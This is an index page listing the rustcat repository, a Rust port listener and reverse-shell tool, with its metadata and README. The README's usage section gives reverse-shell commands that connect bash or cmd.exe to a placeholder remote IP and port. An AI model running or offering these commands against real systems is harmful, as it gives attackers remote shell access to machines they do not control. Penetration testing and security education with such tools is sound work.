Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/robiot/rustcat
Rustcat(rcat) - The modern Port listener and Reverse shell
https://github.com/robiot/rustcat
easy-to-use hacktoberfest linux netcat network pentest-tool port-listener rcat rust rustcat windows
Last synced: 5 days ago
JSON representation
Rustcat(rcat) - The modern Port listener and Reverse shell
- Host: GitHub
- URL: https://github.com/robiot/rustcat
- Owner: robiot
- License: gpl-3.0
- Created: 2021-06-04T17:03:47.000Z (over 3 years ago)
- Default Branch: master
- Last Pushed: 2024-07-20T14:20:34.000Z (5 months ago)
- Last Synced: 2024-12-01T15:47:42.455Z (12 days ago)
- Topics: easy-to-use, hacktoberfest, linux, netcat, network, pentest-tool, port-listener, rcat, rust, rustcat, windows
- Language: Rust
- Homepage: https://git.io/rustcat
- Size: 2.46 MB
- Stars: 727
- Watchers: 11
- Forks: 60
- Open Issues: 3
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - robiot/rustcat - Rustcat(rcat) - The modern Port listener and Reverse shell (Rust)
README
rustcat - The modern port listener and reverse shell
## What is Rustcat
Rustcat is an easy to use port listener and reverse shell for Linux, MacOS, and Windows aimed to be easy to use and accessible.![image](https://user-images.githubusercontent.com/68228472/184684103-87bf3af8-0607-4789-b3a2-09ce67efce55.jpg)
## Modes
- Listen mode (listen);
- Reverse shell mode (connect);## Features
- Command history & Tab completion (Interactive mode);
- CTRL-C blocking;
- Colors;
- Everything easy;## Installing
Check out the [Installation Guide](https://github.com/robiot/rustcat/wiki/Installation-Guide). Or if you want to have it portable, check out the [latest release](https://github.com/robiot/rustcat/releases/latest)## Usage
The most basic and useful example to start listening on a port would be (you can even run vim inside rustcat with this):
```
rcat listen -ib 55600
```
and to connect:
```
rcat connect -s bash the.0.0.ip 55600
```
Reverse shell from Windows:
```
rcat connect -s cmd.exe the.0.0.ip 55600
```For some more basic usage, check [here](https://github.com/robiot/rustcat/wiki/Basic-Usage)
## Disclaimer
This tool may be used for educational purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.